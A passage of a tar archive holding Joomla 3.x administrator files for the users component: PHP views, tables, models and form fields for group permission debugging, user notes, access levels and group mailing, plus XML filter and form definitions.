		if (!JFactory::getUser()->authorise('core.manage', 'com_users'))
		{
			throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
		}

		$this->actions       = $this->get('DebugActions');
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->state         = $this->get('State');
		$this->group         = $this->get('Group');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		// Vars only used in hathor.
		// @deprecated  4.0 To be removed with Hathor
		$this->levels        = UsersHelperDebug::getLevelsOptions();
		$this->components    = UsersHelperDebug::getComponents();

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->addToolbar();

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$canDo = JHelperContent::getActions('com_users');

		JToolbarHelper::title(JText::sprintf('COM_USERS_VIEW_DEBUG_GROUP_TITLE', $this->group->id, $this->escape($this->group->title)), 'users groups');
		JToolbarHelper::cancel('group.cancel', 'JTOOLBAR_CLOSE');

		if ($canDo->get('core.admin') || $canDo->get('core.options'))
		{
			JToolbarHelper::preferences('com_users');
			JToolbarHelper::divider();
		}

		JToolbarHelper::help('JHELP_USERS_DEBUG_GROUPS');
	}
}
com_users/views/debuggroup/tmpl/default.php000060400000007727152455305320015171 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('bootstrap.tooltip');
JHtml::_('formbehavior.chosen', 'select');

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$colSpan   = 4 + count($this->actions);
?>
<form action="<?php echo JRoute::_('index.php?option=com_users&view=debuggroup&group_id=' . (int) $this->state->get('group_id')); ?>" method="post" name="adminForm" id="adminForm">
<?php if (!empty( $this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
		<div class="clearfix"> </div>
		<table class="table table-striped">
			<thead>
				<tr>
					<th class="nowrap">
						<?php echo JHtml::_('searchtools.sort', 'COM_USERS_HEADING_ASSET_TITLE', 'a.title', $listDirn, $listOrder); ?>
					</th>
					<th class="nowrap">
						<?php echo JHtml::_('searchtools.sort', 'COM_USERS_HEADING_ASSET_NAME', 'a.name', $listDirn, $listOrder); ?>
					</th>
					<?php foreach ($this->actions as $key => $action) : ?>
					<th width="5%" class="center">
						<span class="hasTooltip" title="<?php echo JHtml::_('tooltipText', $key, $action[1]); ?>"><?php echo JText::_($key); ?></span>
					</th>
					<?php endforeach; ?>
					<th width="5%" class="nowrap center">
						<?php echo JHtml::_('searchtools.sort', 'COM_USERS_HEADING_LFT', 'a.lft', $listDirn, $listOrder); ?>
					</th>
					<th width="1%" class="nowrap center">
						<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
					</th>
				</tr>
			</thead>
			<tfoot>
				<tr>
					<td colspan="<?php echo $colSpan; ?>">
						<?php echo $this->pagination->getListFooter(); ?>
					</td>
				</tr>
			</tfoot>
			<tbody>
				<?php foreach ($this->items as $i => $item) : ?>
					<tr class="row0">
						<td>
							<?php echo $this->escape($item->title); ?>
						</td>
						<td class="nowrap">
							<?php echo JLayoutHelper::render('joomla.html.treeprefix', array('level' => $item->level + 1)) . $this->escape($item->name); ?>
						</td>
						<?php foreach ($this->actions as $action) : ?>
							<?php
							$name  = $action[0];
							$check = $item->checks[$name];
							if ($check === true) :
								$class  = 'icon-ok';
								$button = 'btn-success';
							elseif ($check === false) :
								$class  = 'icon-remove';
								$button = 'btn-danger';
							elseif ($check === null) :
								$class  = 'icon-ban-circle';
								$button = 'btn-warning';
							else :
								$class  = '';
								$button = '';
							endif;
							?>
						<td class="center">
							<span class="icon-white <?php echo $class; ?>"></span>
						</td>
						<?php endforeach; ?>
						<td class="center">
							<?php echo (int) $item->lft; ?>
							- <?php echo (int) $item->rgt; ?>
						</td>
						<td class="center">
							<?php echo (int) $item->id; ?>
						</td>
					</tr>
				<?php endforeach; ?>
			</tbody>
		</table>
		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
		<div>
			<?php echo JText::_('COM_USERS_DEBUG_LEGEND'); ?>
			<span class="icon-white icon-ban-circle"></span><?php echo JText::_('COM_USERS_DEBUG_IMPLICIT_DENY'); ?>&nbsp;
			<span class="icon-white icon-ok"></span><?php echo JText::_('COM_USERS_DEBUG_EXPLICIT_ALLOW'); ?>&nbsp;
			<span class="icon-white icon-remove"></span><?php echo JText::_('COM_USERS_DEBUG_EXPLICIT_DENY'); ?>
			<br /><br />
		</div>
	</div>
</form>
com_users/tables/note.php000060400000007406152455305320011502 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * User notes table class
 *
 * @since  2.5
 */
class UsersTableNote extends JTable
{
	/**
	 * Constructor
	 *
	 * @param   JDatabaseDriver  &$db  Database object
	 *
	 * @since  2.5
	 */
	public function __construct(&$db)
	{
		parent::__construct('#__user_notes', 'id', $db);

		$this->setColumnAlias('published', 'state');

		JTableObserverContenthistory::createObserver($this, array('typeAlias' => 'com_users.note'));
	}

	/**
	 * Overloaded store method for the notes table.
	 *
	 * @param   boolean  $updateNulls  Toggle whether null values should be updated.
	 *
	 * @return  boolean  True on success, false on failure.
	 *
	 * @since   2.5
	 */
	public function store($updateNulls = false)
	{
		$date = JFactory::getDate()->toSql();
		$userId = JFactory::getUser()->get('id');

		$this->modified_time = $date;
		$this->modified_user_id = $userId;

		if (!((int) $this->review_time))
		{
			// Null date.
			$this->review_time = $this->_db->getNullDate();
		}

		if (empty($this->id))
		{
			// New record.
			$this->created_time = $date;
			$this->created_user_id = $userId;
		}

		// Attempt to store the data.
		return parent::store($updateNulls);
	}

	/**
	 * Method to set the publishing state for a row or list of rows in the database
	 * table.  The method respects checked out rows by other users and will attempt
	 * to check-in rows that it can after adjustments are made.
	 *
	 * @param   mixed    $pks     An optional array of primary key values to update.  If not set the instance property value is used.
	 * @param   integer  $state   The publishing state. eg. [0 = unpublished, 1 = published]
	 * @param   integer  $userId  The user id of the user performing the operation.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 */
	public function publish($pks = null, $state = 1, $userId = 0)
	{
		$k = $this->_tbl_key;

		// Sanitize input.
		$pks = ArrayHelper::toInteger($pks);
		$userId = (int) $userId;
		$state  = (int) $state;

		// If there are no primary keys set check to see if the instance key is set.
		if (empty($pks))
		{
			if ($this->$k)
			{
				$pks = array($this->$k);
			}
			// Nothing to set publishing state on, return false.
			else
			{
				$this->setError(JText::_('JLIB_DATABASE_ERROR_NO_ROWS_SELECTED'));

				return false;
			}
		}

		$query = $this->_db->getQuery(true)
			->update($this->_db->quoteName($this->_tbl))
			->set($this->_db->quoteName('state') . ' = ' . (int) $state);

		// Build the WHERE clause for the primary keys.
		$query->where($k . '=' . implode(' OR ' . $k . '=', $pks));

		// Determine if there is checkin support for the table.
		if (!property_exists($this, 'checked_out') || !property_exists($this, 'checked_out_time'))
		{
			$checkin = false;
		}
		else
		{
			$query->where('(checked_out = 0 OR checked_out = ' . (int) $userId . ')');
			$checkin = true;
		}

		// Update the publishing state for rows with the given primary keys.
		$this->_db->setQuery($query);

		try
		{
			$this->_db->execute();
		}
		catch (RuntimeException $e)
		{
			$this->setError($this->_db->getMessage());

			return false;
		}

		// If checkin is supported and all rows were adjusted, check them in.
		if ($checkin && (count($pks) == $this->_db->getAffectedRows()))
		{
			// Checkin the rows.
			foreach ($pks as $pk)
			{
				$this->checkin($pk);
			}
		}

		// If the JTable instance value is in the list of primary keys that were set, set the instance.
		if (in_array($this->$k, $pks))
		{
			$this->state = $state;
		}

		$this->setError('');

		return true;
	}
}
com_users/models/fields/groupparent.php000060400000005316152455305320014360 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Access\Access;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\FormHelper;
use Joomla\CMS\Helper\UserGroupsHelper;

FormHelper::loadFieldClass('list');

/**
 * User Group Parent field..
 *
 * @since  1.6
 */
class JFormFieldGroupParent extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var        string
	 * @since   1.6
	 */
	protected $type = 'GroupParent';

	/**
	 * Method to clean the Usergroup Options from all children starting by a given father
	 *
	 * @param   array    $userGroupsOptions  The usergroup options to clean
	 * @param   integer  $fatherId           The father ID to start with
	 *
	 * @return  array  The cleaned field options
	 *
	 * @since   3.9.4
	 */
	private function cleanOptionsChildrenByFather($userGroupsOptions, $fatherId)
	{
		foreach ($userGroupsOptions as $userGroupsOptionsId => $userGroupsOptionsData)
		{
			if ((int) $userGroupsOptionsData->parent_id === (int) $fatherId)
			{
				unset($userGroupsOptions[$userGroupsOptionsId]);

				$userGroupsOptions = $this->cleanOptionsChildrenByFather($userGroupsOptions, $userGroupsOptionsId);
			}
		}

		return $userGroupsOptions;
	}

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects
	 *
	 * @since   1.6
	 */
	protected function getOptions()
	{
		$options        = UserGroupsHelper::getInstance()->getAll();
		$currentGroupId = (int) Factory::getApplication()->input->get('id', 0, 'int');

		// Prevent to set yourself as parent
		if ($currentGroupId)
		{
			unset($options[$currentGroupId]);
		}

		// We should not remove any groups when we are creating a new group
		if ($currentGroupId !== 0)
		{
			// Prevent parenting direct children and children of children of this item.
			$options = $this->cleanOptionsChildrenByFather($options, $currentGroupId);
		}

		$options      = array_values($options);
		$isSuperAdmin = Factory::getUser()->authorise('core.admin');

		// Pad the option text with spaces using depth level as a multiplier.
		for ($i = 0, $n = count($options); $i < $n; $i++)
		{
			// Show groups only if user is super admin or group is not super admin
			if ($isSuperAdmin || !Access::checkGroup($options[$i]->id, 'core.admin'))
			{
				$options[$i]->value = $options[$i]->id;
				$options[$i]->text = str_repeat('- ', $options[$i]->level) . $options[$i]->title;
			}
			else
			{
				unset($options[$i]);
			}
		}

		// Merge any additional options in the XML definition.
		return array_merge(parent::getOptions(), $options);
	}
}
com_users/models/fields/levels.php000060400000001450152455305320013277 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JFormHelper::loadFieldClass('list');

/**
 * Access Levels field.
 *
 * @since  3.6.0
 */
class JFormFieldLevels extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var     string
	 * @since   3.6.0
	 */
	protected $type = 'Levels';

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects
	 *
	 * @since   3.6.0
	 */
	protected function getOptions()
	{
		// Merge any additional options in the XML definition.
		return array_merge(parent::getOptions(), UsersHelperDebug::getLevelsOptions());
	}
}
com_users/models/level.php000060400000016426152455305320011657 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;


use Joomla\CMS\Access\Access;
use Joomla\CMS\Factory;
use Joomla\CMS\Helper\UserGroupsHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Model\AdminModel;
use Joomla\Utilities\ArrayHelper;

/**
 * User view level model.
 *
 * @since  1.6
 */
class UsersModelLevel extends AdminModel
{
	/**
	 * @var	array	A list of the access levels in use.
	 * @since   1.6
	 */
	protected $levelsInUse = null;

	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canDelete($record)
	{
		$groups = json_decode($record->rules);

		if ($groups === null)
		{
			throw new RuntimeException('Invalid rules schema');
		}

		$isAdmin = JFactory::getUser()->authorise('core.admin');

		// Check permissions
		foreach ($groups as $group)
		{
			if (!$isAdmin && JAccess::checkGroup($group, 'core.admin'))
			{
				$this->setError(JText::_('JERROR_ALERTNOAUTHOR'));

				return false;
			}
		}

		// Check if the access level is being used by any content.
		if ($this->levelsInUse === null)
		{
			// Populate the list once.
			$this->levelsInUse = array();

			$db    = $this->getDbo();
			$query = $db->getQuery(true)
				->select('DISTINCT access');

			// Get all the tables and the prefix
			$tables = $db->getTableList();
			$prefix = $db->getPrefix();

			foreach ($tables as $table)
			{
				// Get all of the columns in the table
				$fields = $db->getTableColumns($table);

				/**
				 * We are looking for the access field.  If custom tables are using something other
				 * than the 'access' field they are on their own unfortunately.
				 * Also make sure the table prefix matches the live db prefix (eg, it is not a "bak_" table)
				 */
				if (strpos($table, $prefix) === 0 && isset($fields['access']))
				{
					// Lookup the distinct values of the field.
					$query->clear('from')
						->from($db->quoteName($table));
					$db->setQuery($query);

					try
					{
						$values = $db->loadColumn();
					}
					catch (RuntimeException $e)
					{
						$this->setError($e->getMessage());

						return false;
					}

					$this->levelsInUse = array_merge($this->levelsInUse, $values);

					// TODO Could assemble an array of the tables used by each view level list those,
					// giving the user a clue in the error where to look.
				}
			}

			// Get uniques.
			$this->levelsInUse = array_unique($this->levelsInUse);

			// Ok, after all that we are ready to check the record :)
		}

		if (in_array($record->id, $this->levelsInUse))
		{
			$this->setError(JText::sprintf('COM_USERS_ERROR_VIEW_LEVEL_IN_USE', $record->id, $record->title));

			return false;
		}

		return parent::canDelete($record);
	}

	/**
	 * Returns a reference to the a Table object, always creating it.
	 *
	 * @param   string  $type    The table type to instantiate
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable  A database object
	 *
	 * @since   1.6
	 */
	public function getTable($type = 'Viewlevel', $prefix = 'JTable', $config = array())
	{
		$return = JTable::getInstance($type, $prefix, $config);

		return $return;
	}

	/**
	 * Method to get a single record.
	 *
	 * @param   integer  $pk  The id of the primary key.
	 *
	 * @return  mixed  Object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getItem($pk = null)
	{
		$result = parent::getItem($pk);

		// Convert the params field to an array.
		$result->rules = json_decode($result->rules);

		return $result;
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      An optional array of data for the form to interrogate.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm	A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_users.level', 'level', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$data = JFactory::getApplication()->getUserState('com_users.edit.level.data', array());

		if (empty($data))
		{
			$data = $this->getItem();
		}

		$this->preprocessData('com_users.level', $data);

		return $data;
	}

	/**
	 * Method to preprocess the form
	 *
	 * @param   JForm   $form   A form object.
	 * @param   mixed   $data   The data expected for the form.
	 * @param   string  $group  The name of the plugin group to import (defaults to "content").
	 *
	 * @return  void
	 *
	 * @since   1.6
	 * @throws  Exception if there is an error loading the form.
	 */
	protected function preprocessForm(JForm $form, $data, $group = '')
	{
		parent::preprocessForm($form, $data, 'user');
	}

	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		if (!isset($data['rules']))
		{
			$data['rules'] = array();
		}

		$data['title'] = JFilterInput::getInstance()->clean($data['title'], 'TRIM');

		return parent::save($data);
	}

	/**
	 * Method to validate the form data.
	 *
	 * @param   \JForm  $form   The form to validate against.
	 * @param   array   $data   The data to validate.
	 * @param   string  $group  The name of the field group to validate.
	 *
	 * @return  array|boolean  Array of filtered data if valid, false otherwise.
	 *
	 * @see     \JFormRule
	 * @see     \JFilterInput
	 * @since   3.8.8
	 */
	public function validate($form, $data, $group = null)
	{
		$isSuperAdmin = Factory::getUser()->authorise('core.admin');

		// Non Super user should not be able to change the access levels of super user groups
		if (!$isSuperAdmin)
		{
			if (!isset($data['rules']) || !is_array($data['rules']))
			{
				$data['rules'] = array();
			}

			$groups = array_values(UserGroupsHelper::getInstance()->getAll());

			$rules = array();

			if (!empty($data['id']))
			{
				$table = $this->getTable();

				$table->load($data['id']);

				$rules = json_decode($table->rules);
			}

			$rules = ArrayHelper::toInteger($rules);

			for ($i = 0, $n = count($groups); $i < $n; ++$i)
			{
				if (Access::checkGroup((int) $groups[$i]->id, 'core.admin'))
				{
					if (in_array((int) $groups[$i]->id, $rules) && !in_array((int) $groups[$i]->id, $data['rules']))
					{
						$data['rules'][] = (int) $groups[$i]->id;
					}
					elseif (!in_array((int) $groups[$i]->id, $rules) && in_array((int) $groups[$i]->id, $data['rules']))
					{
						$this->setError(Text::_('JLIB_USER_ERROR_NOT_SUPERADMIN'));

						return false;
					}
				}
			}
		}

		return parent::validate($form, $data, $group);
	}
}
com_users/models/mail.php000060400000013236152455305320011466 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Users mail model.
 *
 * @since  1.6
 */
class UsersModelMail extends JModelAdmin
{
	/**
	 * Method to get the row form.
	 *
	 * @param   array    $data      An optional array of data for the form to interrogate.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm	A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_users.mail', 'mail', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$data = JFactory::getApplication()->getUserState('com_users.display.mail.data', array());

		$this->preprocessData('com_users.mail', $data);

		return $data;
	}

	/**
	 * Method to preprocess the form
	 *
	 * @param   JForm   $form   A form object.
	 * @param   mixed   $data   The data expected for the form.
	 * @param   string  $group  The name of the plugin group to import (defaults to "content").
	 *
	 * @return  void
	 *
	 * @since   1.6
	 * @throws  Exception if there is an error loading the form.
	 */
	protected function preprocessForm(JForm $form, $data, $group = 'user')
	{
		parent::preprocessForm($form, $data, $group);
	}

	/**
	 * Send the email
	 *
	 * @return  boolean
	 */
	public function send()
	{
		$app    = JFactory::getApplication();
		$data   = $app->input->post->get('jform', array(), 'array');
		$user   = JFactory::getUser();
		$access = new JAccess;
		$db     = $this->getDbo();

		$mode         = array_key_exists('mode', $data) ? (int) $data['mode'] : 0;
		$subject      = array_key_exists('subject', $data) ? $data['subject'] : '';
		$grp          = array_key_exists('group', $data) ? (int) $data['group'] : 0;
		$recurse      = array_key_exists('recurse', $data) ? (int) $data['recurse'] : 0;
		$bcc          = array_key_exists('bcc', $data) ? (int) $data['bcc'] : 0;
		$disabled     = array_key_exists('disabled', $data) ? (int) $data['disabled'] : 0;
		$message_body = array_key_exists('message', $data) ? $data['message'] : '';

		// Automatically removes html formatting
		if (!$mode)
		{
			$message_body = JFilterInput::getInstance()->clean($message_body, 'string');
		}

		// Check for a message body and subject
		if (!$message_body || !$subject)
		{
			$app->setUserState('com_users.display.mail.data', $data);
			$this->setError(JText::_('COM_USERS_MAIL_PLEASE_FILL_IN_THE_FORM_CORRECTLY'));

			return false;
		}

		// Get users in the group out of the ACL, if group is provided.
		$to = $grp !== 0 ? $access->getUsersByGroup($grp, $recurse) : array();

		// When group is provided but no users are found in the group.
		if ($grp !== 0 && !$to)
		{
			$rows = array();
		}
		else
		{
			// Get all users email and group except for senders
			$query = $db->getQuery(true)
				->select($db->quoteName('email'))
				->from($db->quoteName('#__users'))
				->where($db->quoteName('id') . ' != ' . (int) $user->id);

			if ($grp !== 0)
			{
				$query->where($db->quoteName('id') . ' IN (' . implode(',', $to) . ')');
			}

			if ($disabled === 0)
			{
				$query->where($db->quoteName('block') . ' = 0');
			}

			$db->setQuery($query);
			$rows = $db->loadColumn();
		}

		// Check to see if there are any users in this group before we continue
		if (!$rows)
		{
			$app->setUserState('com_users.display.mail.data', $data);

			if (in_array($user->id, $to))
			{
				$this->setError(JText::_('COM_USERS_MAIL_ONLY_YOU_COULD_BE_FOUND_IN_THIS_GROUP'));
			}
			else
			{
				$this->setError(JText::_('COM_USERS_MAIL_NO_USERS_COULD_BE_FOUND_IN_THIS_GROUP'));
			}

			return false;
		}

		// Get the Mailer
		$mailer = JFactory::getMailer();
		$params = JComponentHelper::getParams('com_users');

		// Build email message format.
		$mailer->setSender(array($app->get('mailfrom'), $app->get('fromname')));
		$mailer->setSubject($params->get('mailSubjectPrefix') . stripslashes($subject));
		$mailer->setBody($message_body . $params->get('mailBodySuffix'));
		$mailer->IsHtml($mode);

		// Add recipients
		if ($bcc)
		{
			$mailer->addBcc($rows);
			$mailer->addRecipient($app->get('mailfrom'));
		}
		else
		{
			$mailer->addRecipient($rows);
		}

		// Send the Mail
		$rs = $mailer->Send();

		// Check for an error
		if ($rs instanceof Exception)
		{
			$app->setUserState('com_users.display.mail.data', $data);
			$this->setError($rs->getError());

			return false;
		}
		elseif (empty($rs))
		{
			$app->setUserState('com_users.display.mail.data', $data);
			$this->setError(JText::_('COM_USERS_MAIL_THE_MAIL_COULD_NOT_BE_SENT'));

			return false;
		}
		else
		{
			/**
			 * Fill the data (specially for the 'mode', 'group' and 'bcc': they could not exist in the array
			 * when the box is not checked and in this case, the default value would be used instead of the '0'
			 * one)
			 */
			$data['mode']    = $mode;
			$data['subject'] = $subject;
			$data['group']   = $grp;
			$data['recurse'] = $recurse;
			$data['bcc']     = $bcc;
			$data['message'] = $message_body;
			$app->setUserState('com_users.display.mail.data', array());
			$app->enqueueMessage(JText::plural('COM_USERS_MAIL_EMAIL_SENT_TO_N_USERS', count($rows)), 'message');

			return true;
		}
	}
}
com_users/models/forms/filter_users.xml000060400000006175152455305320014415 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_USERS_SEARCH_USERS"
			description="COM_USERS_SEARCH_IN_NAME"
			hint="JSEARCH_FILTER"
		/>
		<field
			name="state"
			type="userstate"
			label="COM_USERS_FILTER_STATE"
			description="COM_USERS_FILTER_STATE_DESC"
			onchange="this.form.submit();"
			>
			<option value="">COM_USERS_FILTER_STATE</option>
		</field>
		<field
			name="active"
			type="useractive"
			label="COM_USERS_FILTER_ACTIVE"
			description="COM_USERS_FILTER_ACTIVE_DESC"
			onchange="this.form.submit();"
			>
			<option value="">COM_USERS_FILTER_ACTIVE</option>
		</field>
		<field
			name="group_id"
			type="usergrouplist"
			label="COM_USERS_FILTER_GROUP"
			description="COM_USERS_FILTER_GROUP_DESC"
			onchange="this.form.submit();"
			>
			<option value="">COM_USERS_FILTER_USERGROUP</option>
		</field>
		<field
			name="lastvisitrange"
			type="lastvisitdaterange"
			label="COM_USERS_OPTION_FILTER_LAST_VISIT_DATE"
			description="COM_USERS_OPTION_FILTER_LAST_VISIT_DATE"
			onchange="this.form.submit();"
			>
			<option value="">COM_USERS_OPTION_FILTER_LAST_VISIT_DATE</option>
		</field>
		<field
			name="range"
			type="registrationdaterange"
			label="COM_USERS_OPTION_FILTER_DATE"
			description="COM_USERS_OPTION_FILTER_DATE"
			onchange="this.form.submit();"
			>
			<option value="">COM_USERS_OPTION_FILTER_DATE</option>
		</field>
	</fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="COM_CONTENT_LIST_FULL_ORDERING"
			description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
			onchange="this.form.submit();"
			default="a.name ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.name ASC">COM_USERS_HEADING_NAME_ASC</option>
			<option value="a.name DESC">COM_USERS_HEADING_NAME_DESC</option>
			<option value="a.username ASC">COM_USERS_HEADING_USERNAME_ASC</option>
			<option value="a.username DESC">COM_USERS_HEADING_USERNAME_DESC</option>
			<option value="a.block ASC">COM_USERS_HEADING_ENABLED_ASC</option>
			<option value="a.block DESC">COM_USERS_HEADING_ENABLED_DESC</option>
			<option value="a.activation ASC">COM_USERS_HEADING_ACTIVATED_ASC</option>
			<option value="a.activation DESC">COM_USERS_HEADING_ACTIVATED_DESC</option>
			<option value="a.email ASC">COM_USERS_HEADING_EMAIL_ASC</option>
			<option value="a.email DESC">COM_USERS_HEADING_EMAIL_DESC</option>
			<option value="a.lastvisitDate ASC">COM_USERS_HEADING_LAST_VISIT_DATE_ASC</option>
			<option value="a.lastvisitDate DESC">COM_USERS_HEADING_LAST_VISIT_DATE_DESC</option>
			<option value="a.registerDate ASC">COM_USERS_HEADING_REGISTRATION_DATE_ASC</option>
			<option value="a.registerDate DESC">COM_USERS_HEADING_REGISTRATION_DATE_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>
		<field
			name="limit"
			type="limitbox"
			label="COM_CONTENT_LIST_LIMIT"
			description="COM_CONTENT_LIST_LIMIT_DESC"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_users/models/forms/filter_debuggroup.xml000060400000003577152455305320015422 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_USERS_SEARCH_ASSETS"
			description="COM_USERS_SEARCH_IN_ASSETS"
			hint="JSEARCH_FILTER"
		/>

		<field
			name="component"
			type="Components"
			label="COM_USERS_FILTER_COMPONENT_LABEL"
			description="COM_USERS_FILTER_COMPONENT_DESC"
			onchange="this.form.submit();"
			>
			<option value="">COM_USERS_OPTION_SELECT_COMPONENT</option>
		</field>

		<field
			name="level_start"
			type="Levels"
			label="COM_USERS_FILTER_LEVEL_START_LABEL"
			description="COM_USERS_FILTER_LEVEL_START_DESC"
			onchange="this.form.submit();"
			>
			<option value="">COM_USERS_OPTION_SELECT_LEVEL_START</option>
		</field>

		<field
			name="level_end"
			type="Levels"
			label="COM_USERS_FILTER_LEVEL_END_LABEL"
			description="COM_USERS_FILTER_LEVEL_END_DESC"
			onchange="this.form.submit();"
			>
			<option value="">COM_USERS_OPTION_SELECT_LEVEL_END</option>
		</field>
	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			onchange="this.form.submit();"
			default="a.lft ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.title ASC">COM_USERS_HEADING_ASSET_TITLE_ASC</option>
			<option value="a.title DESC">COM_USERS_HEADING_ASSET_TITLE_DESC</option>
			<option value="a.name ASC">COM_USERS_HEADING_ASSET_NAME_ASC</option>
			<option value="a.name DESC">COM_USERS_HEADING_ASSET_NAME_DESC</option>
			<option value="a.lft ASC">COM_USERS_HEADING_LFT_ASC</option>
			<option value="a.lft DESC">COM_USERS_HEADING_LFT_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_users/models/forms/group.xml000060400000001347152455305320013037 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset name="group_details">
		<field
			name="id"
			type="hidden"
			default="0"
			required="true"
			readonly="true"
		/>

		<field
			name="title"
			type="text"
			label="COM_USERS_GROUP_FIELD_TITLE_LABEL"
			description="COM_USERS_GROUP_FIELD_TITLE_DESC"
			required="true"
			size="40"
		/>

		<field
			name="parent_id"
			type="groupparent"
			label="COM_USERS_GROUP_FIELD_PARENT_LABEL"
			description="COM_USERS_GROUP_FIELD_PARENT_DESC"
			validate="options"
		/>

		<field
			name="actions"
			type="hidden"
			multiple="true"
		/>

		<field
			name="lft"
			type="hidden"
			filter="unset"
		/>

		<field
			name="rgt"
			type="hidden"
			filter="unset"
		/>
	</fieldset>
</form>
com_users/models/forms/fields/user.xml000060400000000357152455305320014127 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="params" label="COM_FIELDS_FIELD_BASIC_LABEL">
		<fieldset name="basic">
			<field
				name="display"
				type="hidden"
			    	default="2"
			/>
		</fieldset>
	</fields>
</form>
